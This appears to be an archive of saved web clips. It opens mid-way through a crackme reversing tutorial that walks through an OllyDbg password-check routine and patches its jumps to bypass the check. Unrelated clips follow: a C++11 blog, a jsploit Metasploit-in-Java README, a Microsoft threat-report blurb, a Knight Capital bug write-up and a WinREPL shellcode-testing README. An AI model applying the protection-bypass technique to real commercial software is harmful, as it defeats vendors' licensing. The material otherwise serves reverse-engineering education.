routine, knowing that EAX must equal zero when it returns, and see what will
accomplish this and what will keep this from happening, and work my way
backward. Scroll down till you see the RETN of the function:

<img src='img/Temp2_6650.gif' width='454' height='192' />

Here, we can see that we definitely want to avoid the instruction at 401510 as
it sets EAX to 1 right before returning. You can also see that there is a red
arrow pointing to this line, so that jump will want to be avoided as well. Now
if we look up a little we can see where EAX is set to zero, and the way
through the end of this routine to return it as such:

<img src='img/Temp2_6657.gif' width='467' height='146' />

If we get to line 4014FB, EAX will be set to zero \(XOR’d with itself\), the
JMP instruction will jump over the bad instruction at 401510, and the routine
will return with EAX equal to zero <img src='img/Temp2_6653.gif' alt=':)' /> .
Now let’s follow the first jump we saw up \(the jump that came to the MOV EAX,
1 bad instruction at address 401510\) and see where it is coming from:

<img src='img/Temp2_6640.gif' width='306' height='460' />

40147C is our bad jump. We want to avoid this jump or we are definitely
getting the bad message. OK, we now have some general knowledge of this
routine, and for a level 2 crack we would stop here and patch to make sure EAX
always returns a zero. How would you do that? Well, I am going to leave that
up to you \(it will be at the end for homework <img src='img/Temp2_6653.gif'
alt=':)' /> \) Though rest assured that I will give you the answers… But do
understand that patching at this level is already better than our initial
patch as 1\) we only need one patch and 2\) if this routine were to be called
from anywhere else in the program, we would still get the good message <img
src='img/Temp2_6675.gif' alt=':D' /> .

Now, take a break and think about how you would patch this. Remember, EAX must
return as zero. The reason I am letting you attempt this is because there are
many, many NOOB patches to accomplish this, and I want you to start thinking
like a reverse engineer\! If you need a hint, look in the homework section at
the end. And if you can solve it, you are a true NOOB\!\!\!

When you are done, and ready to move on to even more detailed analysis, read
on…

## Stepping It Up To Level 3

I understand that you are still a beginner, but I wanted to give a taste of
what patching on a deeper level looks like. If you don’t feel prepared for
this, or get completely lost, don’t fret. This is just to give you an idea. We
will be going back over everything in this section in future tutorials. You
may ask yourself, what is the purpose of going deeper into this code if,
everywhere in the app that calls this routine, it will be patched? Well, for
starters, what if there are varying degrees of registration, for example
“Private”, “Corporate”, “Enterprise”… This routine may make this decision
based on logic inside this routine. Another reason you may want to investigate
further is to eventually make a keygen for it. You would need to understand
this code to do that. Now, let’s start on patching on a SKILLED level and go
back up to the beginning of this routine and examine it:

<img src='img/Temp2_6638.gif' width='588' height='137' />

First, there is some typical pushing of registers and creating some space on
the stack for some local variables. The values in ECX and EDX are pushed on to
the stack so we may use these registers without overwriting what was in them
\(they will be popped off the stack at the end of the routine to return them
to normal\). We then get to address 40142A, which moves the local argument on
the stack \(which is the address of our password\) into EAX. If you look at
the regsters window you’ll see that EAX holds the address 40305D, which is the
address of our password. Next comes a menacing looking line:

**XOR DWORD PTR DS:\[ECX+EAX\], 1234567**

what this line means is add ECX \(which is zero\) to the address of the
beginning of our password \(which is stored at 40305D – remember that
address?\), then take the DWORD \(4 bytes\) at this location and XOR it with
the hex value 1234567. Since ECX is zero, adding this to the address of our
password doesn’t do anything to that address, so we are dealing with the
address starting with the first digit of our password. In simpler language,
what this line means is “get the first 4 bytes of the password and XOR it with
1234567, storing this new value back into the same memory address which is the
beginning of our password.”

We can watch this happen; first, making sure we are still paused on this line
of code at address 40142D, look right above the dump window and it will tell
you what address ECX+EAX is \(40305D\) as well as what values are there
\(32313231\) which in ASCII is “2121″ \(remember the endians <img
src='img/Temp2_6653.gif' alt=':)' /> \):

<img src='img/Temp2_6634.gif' width='192' height='93' />

Now highlight the first line that says “DS:\[0040305D\]=32313231″, right-click
and select “Follow in dump” so we can see the actual memory where our password
is currently stored:

<img src='img/Temp2_6674.gif' width='307' height='160' />

Now the dump window is showing memory, starting at address 40305D. Here, the
first 8 bytes is our password. Now remember, the line of code we are on is
going to take the first 4 bytes at this address \(31,32,31,32\) and XOR them
with 0×1234567, storing the result back into this memory location:

<img src='img/Temp2_6652.gif' width='474' height='169' />

Go ahead and hit step over once and you will see the first 4 bytes of our
password changed, XOR’d with 0×1234567.

<img src='img/Temp2_6631.gif' width='476' height='143' />

Now, let’s continue down the code to the next line:

<img src='img/Temp2_6666.gif' width='604' height='104' />

This line, **AND BYTE PTR DS:\[ECX+EAX\]** , 0E, is another menacing looking
line. We know what ECX + EAX is address 40305D, which is the address of our
former password. Now we’re going to AND 0x0E with the BYTE at this address and
store the result back into this address. This means that the first digit of
our former password that is stored at 40305D is going to be ANDed with oE and
stored back in that first position. Looking at that helper area above the dump
helps point this out:

<img src='img/Temp2_6654.gif' width='194' height='133' />

It is telling us that the address that will be affected is 40305D, and the
value at that address \(currently\) is 56. Now go ahead and step once and you
will see that first digit change again:

<img src='img/Temp2_6659.gif' width='458' height='102' />

So now we know that ox56 ANDed with 0x0E is 0×06 <img src='img/Temp2_6653.gif'
alt=':)' /> Now let’s continue trudging through this code:

<img src='img/Temp2_6630.gif' width='529' height='108' />

ECX is increased by 4 \(to point at the next set of 4 bytes\) and compared to
8. This means that this loop will run two times- the first time ECX will equal
4, the second time 8, then we will jump out of it. This means that we are
dealing with 8 bytes of code total. So the second time through the loop, we
will affect the second set of 4 bytes, ANDing them with 1234567. As you step
it, keep an eye on the second set of 4 bytes:

<img src='img/Temp2_6671.gif' width='466' height='87' />

and they will change as well. That fifth byte will also change again as it’s
ANDed with 0x0E. After this loop, we hit the next instruction at address
401440 that just resets ECX to zero:

<img src='img/Temp2_6661.gif' width='465' height='114' />

Now let’s look at the next set of instructions:

<img src='img/Temp2_6673.gif' width='464' height='88' />

First we move the first \(new\) byte of our \(former\) password into DL
\(since ECX is zero again, we know we are dealing with the first digit again,
or where EAX is pointing\). If you look at the registers window, you’ll see
that first byte \(0×06\) in the EDX register:

<img src='img/Temp2_6637.gif' width='161' height='93' />We then add this digit
in DL with whatever is at EAX + 8, or the eighth byte after the beginning of
EAX, and store it back into the eighth position:

<img src='img/Temp2_6632.gif' width='444' height='91' />

Here, we ca see that that byte has changed:

<img src='img/Temp2_6636.gif' width='485' height='94' />

This has added the first byte in this buffer \(6\) with the 8th byte in the
buffer \(zero\) and given us 6. If our password was longer than 8 digits, this
would have added the first byte in our buffer to the next digit of our
password, but since our password is only 8 digits, this memory is set to zero.
Next we increase ECX by one \(thereby moving to the next byte\) and compare it
to the length of the password. This just basically figures out if we’ve
reached the end. If we haven’t, we then jump to the beginning of this loop and
do it again. This basically means we will cycle through all the digits of the
password, adding the value of each digit and storing this value in the 8th
memory position. Now we realize why the password can only be 11 digits;
there’s only space to hold 11 characters plus the terminating zero.

<img src='img/Temp2_6644.gif' width='466' height='108' />

As you step through this loop, you can watch the memory change:

<img src='img/Temp2_6639.gif' width='351' height='133' />

After this loop is done, we once again set ECX to zero and enter a similar
loop to the first one, this time XORing each set of 4 bytes with 0x89ABCDE.

<img src='img/Temp2_6655.gif' width='460' height='321' />  
It also then adds up all the bytes and keeps this total in the ninth byte.
This process will be implemented until ARG.2 equals zero. ARG.2 is the length
of our password \(remember it was the second item pushed on to the stack right
before calling this function?\) So, this set of instructions will be run 8
times, once for each digit of our password. And after stepping through this
code, you will see the final result::

<img src='img/Temp2_6663.gif' width='381' height='105' />  
<img src='img/Temp2_6641.gif' width='483' height='108' />

It is vitally important that you run this and watch it all happen as it will
make it a lot clearer. Take time understanding each line, what it’s going to
do and where it’s going to store the result. You will find that it is not as
difficult as it sounds:\) And don’t forget that we are making our way to that
first jump at address 40147C. Here, in summation, is what we have done:

  1. We XORed each set of 4 bytes of our password with the hex value 12345678 and stored them back over top of our password.
  2. The first digit was ANDed with 0x0E, as well as the 5th byte.
  3. We then added up the values of all of these bytes and stored this value in the 8th byte.
  4. Then, we XORed each set of 4 bytes of this buffer with 0x9ABCDEF, and stored the result back into this buffer.
  5. Again, we added up the values of all of the buffer memory contents and stored this into the 9th memory location.

We have performed most of the magic of the protection scheme on this crackme
\(\*phew\*\). Now we will load these two values \(the summation of the buffer
memory contents\), one at EAX+8 and one at EAX+9 into DL and DH, making EDX in
our example equal to 842C. We then compare these values with the value 42DE:

<img src='img/Temp2_6656.gif' width='443' height='100' />

Why 42DE? Well, this is probably a hard coded password. If you think about it,
if you had a specific password, ran it through this whole operation of XOR-ing
and AND-ing, it will come up with this magic number of 42DE. In our case,
seeing as EDX equals 842C:

<img src='img/Temp2_6662.gif' width='97' height='45' />

We have not entered this magic password so we will take this jump which will
lead us to the bad code:

<img src='img/Temp2_6643.gif' width='407' height='296' />

Unless, of course, we help Olly out a little:

<img src='img/Temp2_6660.gif' width='47' height='44' />

And instead fall through so EAX will not be set to one and this function
immediately stopped. Next we load ECX with 9 so that we may access the 9th
digit of our buffer, move the contents of this ninth memory location into DL
\(0x2C in this case\), XOR it with itself \(making it equal zero\), lower ECX
by one to go to the previous location, and do this nine times:

<img src='img/Temp2_6658.gif' width='478' height='93' />

You may wonder, as this doesn’t actually change anything in the buffer, what
the point of this function is? Well, that makes two of us. Seeing as all it’s
doing is zeroing out DL over and over, this almost seems like a decoy \(or a
mistake <img src='img/Temp2_6653.gif' alt=':)' /> \) in the code. All in all,
if this code runs or does not run, it makes no difference, so it is dead code.
We now enter short group of code that basically compares EAX with 30AC:

<img src='img/Temp2_6669.gif' width='486' height='107' />

First, it load ECX with the summation we did earlier \(0x2C in the 9th memory
location and 0×84 in the 8th memory location\), XORs it with 0xEEEE and
compares it with 30AC. And since EAX is not equal to 30AC, we will jump:

<img src='img/Temp2_6672.gif' width='106' height='58' />

To where EAX is set to one again:

<img src='img/Temp2_6667.gif' width='415' height='420' />

This is basically a second check of the password. The reason for this is
probably that a reverse engineer with not a lot of experience \(or just enough
to get him/herself in trouble\) would immediately patch the first JNZ when our
converted password was compared with 0x42DE above. They may not have taken the
time to go through the rest of the code, thinking this patch is all it takes.
Unfortunately, this patch is obviously not enough as the app now takes the
computed value of our password, performs some more manipulation on it, and
jumps if it does not match this new value. A lot of times this method is used
as a technique to discover if someone is trying to patch the app: if we get
through the first JNZ with our password checking out without patching
anything, we should get through the second as well. If we don’t, we know
someone has patched the first check, so we know someone has altered the code.
Many times this second jump will go to some completely different section of
code, something that looks incredibly complicated but doesn’t actually do
anything, and then eventually terminate. This is an attempt to send the
reverse engineer on a wild-goose-chase and make it harder to overcome the
protection. We don’t want that, so set the zero flag so we keep going and we
hit the next two lines:

<img src='img/Temp2_6677.gif' width='511' height='80' />

This loads the first and second memory location’s contents of our password
buffer into CL and CH, which in our example makes ECX equal to CB08. It adds
3592 \(hex\) to this value and compares it with E59A. If it does not equal
this value, we jump:

<img src='img/Temp2_6645.gif' width='391' height='362' />

This is doing the same thing as above; performing another check to make sure
we got here legitimately. Obviously, we don’t want to take this jump either,
so we help Olly by changing the zero flag again. We then go through yet
another check, this one from memory location 4014A3 to 4014AD. We skip this
JNZ as well, setting the zero flag, and we end up here:

<img src='img/Temp2_6664.gif' width='393' height='353' />

The first line, **CMP DWORD PTR DS:\[EAX\], 7A81B008** , does another check.
After all of the manipulation done on this password, eventually the first 4
bytes will equal 7A81B008. If it does not, we will jump to our bad code:

<img src='img/Temp2_6648.gif' width='398' height='287' />

So helping Olly with the zero bit, we then enter another collection of checks
\(why not?\), first performing some manipulation on the next set of bytes and
comparing them with 388DBF02, and comparing various memory contents with hard
coded numbers. This is obviously overkill on the checks, but I think the
author thought the more checks, the more protected this crackme would be <img
src='img/Temp2_6653.gif' alt=':)' /> . Bypassing all of these jumps we finally
get to what we want, the JMP instructi0n at address 4014FB:

<img src='img/Temp2_6635.gif' width='410' height='210' />

If we then step through the return, we will end up in familiar territory, but
this time with a difference:

<img src='img/Temp2_6646.gif' width='788' height='127' />

Notice that this time we fall through to the good boy message <img
src='img/Temp2_6653.gif' alt=':)' /> . This is because we kept the app from
setting EAX equal to 1.

Now, you may think, “great, we’ve traded a single patch in our level 2 for 9
patches \(all of the JNZ zero flag resets\) in this new deeper analysis”, but
this is not true. Not only do we understand how this works \(and have gained a
lot of experience for future reversing challenges\) but we can now make very
solid patches that we KNOW will work no matter what. Not to mention that it
would not be very hard to find the REAL password for this app, bypassing any
need to patch anything\! This is true reverse engineering, and it only comes
with A LOT of practice. And the harder the app is to crack, the more you can
expect needing to get this detailed in the code.

Again, don’t worry if you got lost; this was more to give an overview of the
methods used. We will be going over this stuff again. in the mean time, here’s
some…

## Homework

As stated earlier in the tutorial, see if you can come up with a way to patch
this app using the NOOB technique. This means finding a way to step into the
call that performs all of the manipulation on the password, and find a way to
bypass all of it. You don’t need to understand all of the manipulations being
done on the password, just find a way to make the app skip it and still come
out to the good boy.

If you need a hint, click here.

Super Insane Extra Credit: Can you find the hard coded password?

-Till next time
R4ndom

# Penetration Testing Automation

**Created:**| _6/16/2010 8:29:37 PM_  
---|---  
**Updated:**| _6/16/2010 8:30:15 PM_  
**Author:**| __  
**Tags:**| _conference-material pentest Metasploit automation_  
  
<img src='img/Temp2_6198' />

# Brèves depuis l'intérieur de Tetrane

**Created:**| _3/15/2012 3:20:35 PM_  
---|---  
**Updated:**| _3/15/2012 2:21:13 PM_  
**Author:**| __  
**Tags:**| _c++0x C++11_  
  

### Chilling with constexpr

<img src='img/Temp2_1163.jpg' width='320' height='203' />

  
There is a new keyword in c++11 **constexpr**. If you haven't read about it
here are some good stuffs there and there.  
  
__Note:_ I'm using the "gcc version 4.8.0 20120307 \(experimental\) \(GCC\)"._  
  
Since we like to know what's up under the hood, we investigated about how gcc
optimizes the code with that new keyword.  
  
_Part 1:_ _**Constexpr** impact on the binary_  
  
Here is a code snippet  

?

123456789101112131415161718192021222324252627282930313233| `#include
<iostream>` `constexpr uint32_t factorial(uint32_t n)``{`` ``return` `n > 0 ?
n * factorial(n - 1) : 1;``}` `constexpr uint32_t fib(uint32_t x)``{``
``return` `(x <= 1) ? 1 : (fib(x - 1) + fib(x - 2));``}` `void` `foo(uint32_t
test)``{`` ``std::cout << test << std::endl;``}` `int` `main()``{`` ``uint32_t
a = fib(0xa);`` ``std::cout << std::hex << a << std::endl; ``//gives 0x59` `
``std::cout << fib(0xa) << std::endl; ``//gives 0x59` ` ``foo(fib(0xc));
``//gives 0xe9` ` ``std::cout << factorial(0x5) << std::endl; ``//gives 0x78`
` ``uint32_t b = factorial(0x6);`` ``std::cout << b << std::endl;``//gives
0x2d0` ` ``return` `EXIT_SUCCESS;``}`  
---|---  
We compile this code with these switches "-std=c++0x -O3". Looking at the
assembly code generated, we can see that gcc did evaluate some of the
**constexpr** functions at compilation time:  

[code]

    ... 
    4007fb: be 59 00 00 00 mov esi,0x59
    ... 
    400828: bf 0a 00 00 00 mov edi,0xa
    40082d: e8 de 01 00 00 call 400a10 
    ...
    400846: bf 0c 00 00 00 mov edi,0xc
    40084b: e8 c0 01 00 00 call 400a10 
    400850: 89 c7          mov edi,eax
    400852: e8 49 01 00 00 call 4009a0 
    ...
    400857: be 78 00 00 00 mov esi,0x78
    ...
    40086e: be d0 02 00 00 mov esi,0x2d0
    ...
    
[/code]

But not all of them are converted, the second fib\(\) call at  

?

1| `0x40082d ``//std::cout << fib(0xa) << std::endl`  
---|---  
isn't.  
  
This is weird, we could think that gcc couldn't solve it at compilation time,
but it has an integer value and it has the exact same argument \(0xa\) as the
first fib\(\) call \(_and also doesn't exceed the -fconstexpr-depth of 512 by
default_\) :  

?

1| `uint32_t a = fib(0xa);`  
---|---  
We thought that may be it was because the ostream::operator<< comes from the
libstdc++ so gcc may not optimize it as if it was a function from the program,
but even when calling fib\(\) as parameter of foo\(\)  

?

1| `foo(fib(0xc));`  
---|---  
it didn't evaluated it at compile time.  
  
It's a pretty weird comportment we didn't find any reliable explanation. Plus
the calls to factorial\(\) are all processed at compilation time, even the
ones that are in parameter of ostream::operator<<. So may be because fib\(\)
calls himself twice on the return it makes it too complicated to evaluate it
at compile time.  
  
_Part 2:_ _Is constexpr useless with gcc ?_  
  
The standard put some restrictions on the constexpr keyword \(only a return
inside the function, no incrementation, ...\), but the gcc optimizations are
so powerful that even if the code contains more than one line or
incrementation it will sometimes evaluate it a compile time and then set the
result in the assembly avoiding a function call and processing.  
  
Another funny thing is that if you try compiling the same code snippet as in
the first part without the constexpr in the function declarations, the calls
to factorial\(\) are all evaluated at compilation time, but the calls to
fib\(\) aren't.  
  
_Conclusion:_  
  
So constexpr has its uses, but for the optimization part gcc optimizations are
so good, that I think in most cases it would be optimized even without it. But
for code portability it's might be useful to specify it.

Publié par Benjamin Millaud à l'adresse 10:35 0 commentaires

Envoyer par e-mailBlogThis\!Partager sur TwitterPartager sur Facebook

###  User-defined literals

<img src='img/Temp2_1161.jpg' width='400' height='292' />

  
  
I deem this definition of a literal relevant:  

> Literal constants are invariants whose values are implied by their
> representations.
Literals are useful:  
  

?

1| `float` `million = 1e6;`  
---|---  
  
C++11 now offers user-defined literals, which will be very handy, and not only
as syntactic sugar. Consider the simple example of manipulating an object
representing an angle:  
  

?

1234| `struct` `angle {`` ``angle(``long` `double` `r): radians(r) {}``
``long` `double` `radians;``};`  
---|---  
  
Now we have a problem: this structure is built using an angle expressed in
radians, not degrees:  
  

?

12345| `long` `double` `radians = 2.0;``long` `double` `degrees = 90.0;`
`angle r(radians); ``// fine``angle d(degrees); ``// oups!`  
---|---  
  
As-is, we cannot build the angle using degrees \(worse: it will compile\) that
easily. That's an example where a user-defined literal is useful:  
  

?

1234| `angle operator ``""` `_deg(``long` `double` `degrees) {`` ``static`
`long` `double` `const` `pi = ``atan``(1.0) * 4.0; `` ``return` `angle(degrees
* pi / 180.0);``}`  
---|---  
  
Now, we can define a cosinus function taking radians, and use it with degrees
as well:  
  

?

123456| `long` `double` `cosinus(angle ``const``& a) {`` ``return`
`cos``(a.radians); ``}` `std::cout << cosinus(60.0_deg) << std::endl; ``//
degrees``std::cout << cosinus(1.0) << std::endl; ``// radians`  
---|---  
  
The output is correct:  
  

?

12| `0.5``0.540302 `  
---|---  
  
Problem solved\!

Publié par Bruno Lemarchand à l'adresse 10:16 1 commentaires

Envoyer par e-mailBlogThis\!Partager sur TwitterPartager sur Facebook

Libellés : c++, c++11, literal

## lundi 5 mars 2012

###  C++11: Variadic templates

<img src='img/Temp2_1162.jpg' width='400' height='300' />

  
L'introduction de C++11 apporte dans son jeu de nouvelles fonctionnalités les
_variadic templates_ , qui permettent de spécifier des paramètres de patrons à
géométrie variable.  
  
Voici un exemple qui illustre l'avantage des _variadic templates_ comparé aux
méthodes "classiques", pour pallier à un problème courant : utiliser une même
fonction, et ce quel que soit son nombre de paramètres.  
  

Jusqu'à présent \(entendre : avant C++11\) plusieurs techniques permettaient
éventuellement de mimer ce comportement : macro,  stdarg \(basé sur des macros
et non typé\), surcharge de fonctions, paramètres par défaut, templates.

  
A titre d'exemple, une fonction classique telle que _printf_ , basée sur
stdarg, n'offre pas de “typage sécurisé” \(_type-safe_\), au bénéfice d'une
méthode prenant un nombre variable de paramètres.

  
D'autre part, l'utilisation de macros va à l'encontre des règles de portée et
de types \(sans parler de débogages qui peuvent se révéler
cauchemardesques...\) ; pour ma part, j'évite d'avoir recours au pré-
processeur autant que possible.

  
L'utilisation de paramètres par défaut peut se révéler dangereuse, et la
surcharge est pénible à maintenir, même combiné avec des _template_ s.

  
Prenons comme exemple l'implémentation du patron de conception Singleton, sous
la forme d'une classe générique, et donc réutilisable ; intéressons-nous à une
méthode createSingleton\(\) \(imaginons qu'elle soit invoquée par une
mécanique interne au Singleton\) qui instancie notre objet :

  

template <typename

Type> class Singleton \{

static Type\* createSingleton\(\) \{  
return new Type;  
\}  
\};

  
Dans le code ci-dessus, la classe fonctionne très bien lorsque les classes qui
en héritent ont un constructeur ne prenant pas d'arguments. Mais si on veut
utiliser une classe qui _nécessite_ des arguments \(par exemple une classe qui
a une référence en membre\), il est nécessaire d'enrichir le jeu de méthodes
_createSingleton\(\)_ ; or utiliser une macro n'est pas jouable. De plus,
utiliser une surcharge combinée à des templates "classiques" nécessite que
chaque classe héritée fournisse un constructeur par défaut :  
  
  

template <typename Type>

class Singleton \{

static Type\* createSingleton\(\) \{ return new Type; \}

  

static template <typename Type>

Type\* createSingleton\(ArgType const& arg\) \{ return new Type\(arg\); \}

  
template <typename Type>  
Type\*

createSingleton\(ArgOne const& one, ArgTwo const& two\)

  

\{ return new Type\(one, two\); \}

\};  
  

class Foo: public Singleton<Foo>

\{

private:

friend Singleton

<Foo>;

Foo\(\) = delete; // Problème \! Singleton requière ce constructeur \!

Foo\(size\_t\); // Seul constructeur valide.

\};

  
  

Une solution à ce problème est d'utiliser une “Policy”, une structure
spécifiée en argument de patron du Singleton, et à qui est délégué
l’instanciation ; c'est cependant une opération qui peut s'avérer complexe et
lourde en code. C'est ici qu'intervient la notion de **variadic template** :
implémenter la méthode createSingleton\(\) paramétrée par template comme
avant, mais où les arguments des templates eux-même sont variables :  
  
  
template <typename Type> class Singleton \{

template <typename ... Types>

Type\* createSingleton\(Types const& ... arguments\) \{  
return new Type\(arguments ...\);  
\}  
\};

  

Et voilà \! L'ajout des ... utilise automagiquement cette fonctionnalité, qui
résout bien l'ensemble du problème : on conserve une caractéristique _type-
safe_ , on permet aux classes dérivées d'implémenter les constructeurs
qu'elles veulent, et il n'est pas besoin d'impacter Singleton dans les cas où
une nouvelle classe hérite de ce patron de conception.  
  

Cette utilisation n'est pas le seul avantage apporté par les variadic
templates ; comme évoqué plus haut, cela est également utilisable pour les
classes, par exemple déclarer une classe étant flexible sur les polices de
comportement :

template <typename ... Policies>

class PolicyBased: public Policies ... \{\};

  

Ou encore pour utiliser des objets selon la même idée que les _tuples_ , mais
de façon plus permissive :  
  

class Container

\{

template <typename ... Types>  

Container\(Types const&& ... arguments\) \{\}

\};

  

Et comme beaucoup de fonctionnalités du C++, de nouvelles façons de les
utiliser vont fleurir avec le temps. D'ailleurs, un autre apport de C++11 que
nous verrons, tout aussi appréciable, est la possibilité de définir des
valeurs littérales.

  *[10:35]: 2012-03-09T10:35:00+01:00
  *[10:16]: 2012-03-09T10:16:00+01:00

# jsploit - Project Hosting on Google Code

**Created:**| _1/13/2011 3:31:59 PM_  
---|---  
**Updated:**| _1/13/2011 3:32:06 PM_  
**Author:**| __  
**Tags:**| _Metasploit Java_  
  

This Project aims to incorporate the Metasploit Framework natively within
Java, through JRuby. This will allow full reign over the Metasploit Framework
through Java enabling other possibilities on the Java Platform.

The development of this Project is still on going. To get started you will
require both Metasploit and JRuby. Both of which can be downloaded from:

  * http://www.metasploit.com/
  * http://jruby.org/

I personally recommend using subversion for either to keep up-to-date. Both
will need to be extracted and placed in a folder along-side one another. The
default directory is "/opt/jsploit/". However, you may want to bundle each
within your own project.

There are two examples bundled with this library.

  * org.metasploit.test.Example.java
  * org.metasploit.test.ExploitExample.java
  * org.metasploit.test.AuxiliaryExample.java

The Example.java starts either the Metasploit CLI or Console. Whereas
ExploitExample.java and AuxiliaryExample is a more hands-on aproach to the
Metasploit Framework.

If you find any bugs please raise a ticket so that it can be addressed.

# Security Intelligence Report \(SIR\) vol.11

**Created:**| _10/14/2011 10:45:53 AM_  
---|---  
**Updated:**| _10/25/2011 6:30:47 PM_  
**Author:**| __  
**Tags:**| _Microsoft security metrics_  
  
What Is the Security Intelligence Report?  
---  
With a collection of data from Internet services and over 600 million
computers worldwide, the Security Intelligence Report \(SIR\) exposes the
threat landscape of exploits, vulnerabilities, and malware. Awareness of
threats is a preventive step to help you protect your organization, software,
and people. Worldwide Threat Assessment is an analysis of the global impact
while Regional Threat  
Assessment provides detailed telemetry by location. Protection methods appear
in Managing Risk. SIR volume 11 provides data from January to June 2011 and
features the ZeroDay article. <img src='img/Temp2_7346.jpg' width='530'
alt='SIR volume 11 infographic' /> Click to enlarge image

# python sweetness — How to lose $172,222 a second for 45 minutes

**Created:**| _10/23/2013 8:40:35 AM_  
---|---  
**Updated:**| _10/23/2013 8:45:06 AM_  
**Author:**| __  
**Tags:**| _python software testing bugs trading_  
  

# How to lose $172,222 a second for 45 minutes****

This is probably the most painful bug report I’ve ever read , describing in
glorious technicolor the steps leading to Knight Capital’s $465m trading loss
due to a software bug that struck late last year, effectively bankrupting the
company**.**

The tale has all the hallmarks of technical debt in a huge, unmaintained,
bitrotten codebase \(the bug itself due to code that hadn’t been used for **8
years**\), and a _really_ poor, undisciplined devops story**.**

Highlights:

> To enable its customers’ participation in the Retail Liquidity Program
> \(“RLP”\) at the New York Stock Exchange,5 which was scheduled to commence
> on August 1, 2012, Knight made a number of changes to its systems and
> software code related to its order handling processes**.** These changes
> included developing and deploying new software code in SMARS**.** SMARS is
> an automated, high speed, algorithmic router that sends orders into the
> market for execution**.** A core function of SMARS is to receive orders
> passed from other components of Knight’s trading platform \(“parent”
> orders\) and then, as needed based on the available liquidity, send one or
> more representative \(or “child”\) orders to external venues for
> execution**.**
> 13**.** Upon deployment, the new RLP code in SMARS was **intended to replace
> unused code in the relevant portion of the order router**.**** This unused
> code previously had been used for functionality called “Power Peg,” which
> Knight had discontinued using many years earlier**.** Despite the lack of
> use, the Power Peg functionality remained present and callable at the time
> of the RLP deployment**.** The new RLP code also **repurposed a flag** that
> was formerly used to activate the Power Peg code**.** Knight intended to
> delete the Power Peg code so that when this flag was set to “yes,” the new
> RLP functionality—rather than Power Peg—would be engaged**.**
> 14**.** When Knight used the Power Peg code previously, as child orders were
> executed, a cumulative quantity function counted the number of shares of the
> parent order that had been executed**.** This feature instructed the code to
> stop routing child orders after the parent order had been filled
> completely**.** In **2003, Knight ceased using the Power Peg
> functionality**.**** In 2005, Knight moved the tracking of cumulative shares
> function in the Power Peg code to an earlier point in the SMARS code
> sequence**.** Knight did not retest the Power Peg code after moving the
> cumulative quantity function to determine whether Power Peg would still
> function correctly if called**.**
> 15**.** Beginning on **July 27, 2012,** Knight deployed the new RLP code in
> SMARS in stages by placing it on a limited number of servers in SMARS on
> successive days**.** **During the deployment of the new code, however, one
> of Knight’s technicians did not copy the new code to one of the eight SMARS
> computer servers**.**** Knight did not have a second technician review this
> deployment and **no one at Knight realized that the Power Peg code had not
> been removed** from the eighth server, nor the new RLP code added**.**
> Knight had **no written procedures** that required such a review**.**
> 16\. On August 1, Knight received orders from broker-dealers whose customers
> were eligible to participate in the RLP**.** The seven servers that received
> the new code processed these orders correctly**.** However, **orders sent
> with the repurposed flag to the eighth server triggered the defective Power
> Peg code still present** on that server**.** As a result, this server began
> sending child orders to certain trading centers for execution**.**
> 19\. On August 1, Knight also received orders eligible for the RLP but that
> were designated for pre-market trading**.** 6 SMARS processed these orders
> and, beginning at approximately 8:01 a.m. ET, an **internal system at Knight
> generated automated e-mail messages** \(called “BNET rejects”\) that
> referenced SMARS and **identified an error described as “Power Peg
> disabled**.** ”** Knight’s system sent **97 of these e-mail messages to a
> group of Knight personnel before the 9:30 a.m. market open****.** Knight did
> not design these types of messages to be system alerts, and Knight personnel
> generally did not review them when they were received
It gets better:

> 27**.** On August 1, Knight did not have supervisory procedures concerning
> incident response**.** More specifically, Knight **did not have supervisory
> procedures to guide its relevant personnel when significant issues
> developed**.**** On August 1, Knight relied primarily on its technology team
> to attempt to identify and address the SMARS problem in a live trading
> environment**.** Knight’s system continued to send millions of child orders
> while its personnel attempted to identify the source of the problem**.**
> **In one of its attempts to address the problem, Knight uninstalled the new
> RLP code from the seven servers where it had been deployed correctly**.****
> This action worsened the problem, causing additional incoming parent orders
> to activate the Power Peg code that was present on those servers, similar to
> what had already occurred on the eighth server**.**
The remainder of the document is definitely worth a read, but importantly
recommends new _human_ processes to avoid a similar tragedy**.** None of the
ops failures leading to the bug were related to humans, but rather, due to
most likely horrible deployment scripts and woeful production monitoring**.**
What kind of cowboy shop doesn’t even have monitoring to ensure a cluster is
running a consistent software release**\!****?** Not to mention deployment
scripts that _check return codes_..

We can also only hope that references to _" written test procedures"_ for the
unused code refer to systematic tests, as opposed to a 10 year old wiki
page**.**

The best part is the fine: $12m, despite the resulting audit also revealing
that the system was systematically sending naked shorts**.**

_\[Edit: seems this was posted a little too quickly: the final loss was $460m
and the code was dead for closer to 9 years, not 8\]_

****<img src='img/34-70694.pdf' width='100%' height='15386' />

# zerosum0x0/WinREPL

**Created:**| _9/4/2017 9:31:03 AM_  
---|---  
**Updated:**| _9/4/2017 9:31:03 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# WinREPL

WinREPL is a "read-eval-print loop" shell on Windows that is useful for
testing/learning x86 and x64 assembly.

Pre-compiled binaries are available at:
https://github.com/zerosum0x0/WinREPL/releases/

<img src='img/14224_screenshot.png' width='888' height='497' alt='WinREPL' />

zerosum0x0/WinREPL is similar to yrp604/rappel \(Linux\) and Tyilo/asm\_repl
\(Mac\), but with a slightly different methodology that should allow for
tricks such as self-modifying shellcode crypting/encoding. There is also
enferex/asrepl for a Unicorn \(emulated\) version, but WinREPL is completely
native inside a Windows process context.

### Methodology

WinREPL is a debugger \(parent process\) that hollows out a copy of itself
\(child process\).

  1. Parent process retrieves input from the user
  2. Machine code is generated with the Keystone library
  3. Resulting bytes are written to a child process thread context
  4. Child process thread is resumed
  5. Parent process polls for debug events

### Commands

Multiple assembly mnemonics can be executed on a single line by separating
with semi-colons. Refer to Keystone Engine documentation for other syntactic
sugar.

Besides being a raw assembler, there are a few extra commands.

[code]

    .help                   Show this help screen.
    .registers              Show more detailed register info.
    .read addr size         Read from a memory address.
    .write addr hexdata     Write to a memory address.
    .allocate size          Allocate a memory buffer.
    .loadlibrary path       Load a DLL into the process.
    .kernel32 func          Get address of a kernel32 export.
    .shellcode hexdata      Execute raw shellcode.
    .peb                    Loads PEB into accumulator.
    .reset                  Start a new environment.
    .quit                   Exit the program.
    
[/code]

The following commands are not yet implemented but on the Todo list:

[code]

    .dep addr size [0/1]    Enable or disable NX-bit.
    .stack                  Dump current stack memory contents.
    .string data            Push a string onto the stack.
    .errno                  Get last error code in child process.
    
[/code]

Create a GitHub issue to request other commands.

### Other Todo

As always happens, code is rushed and awful.

  1. Clean up the hodge-podge of C and C++... just make it all C++
  2. Look into label support
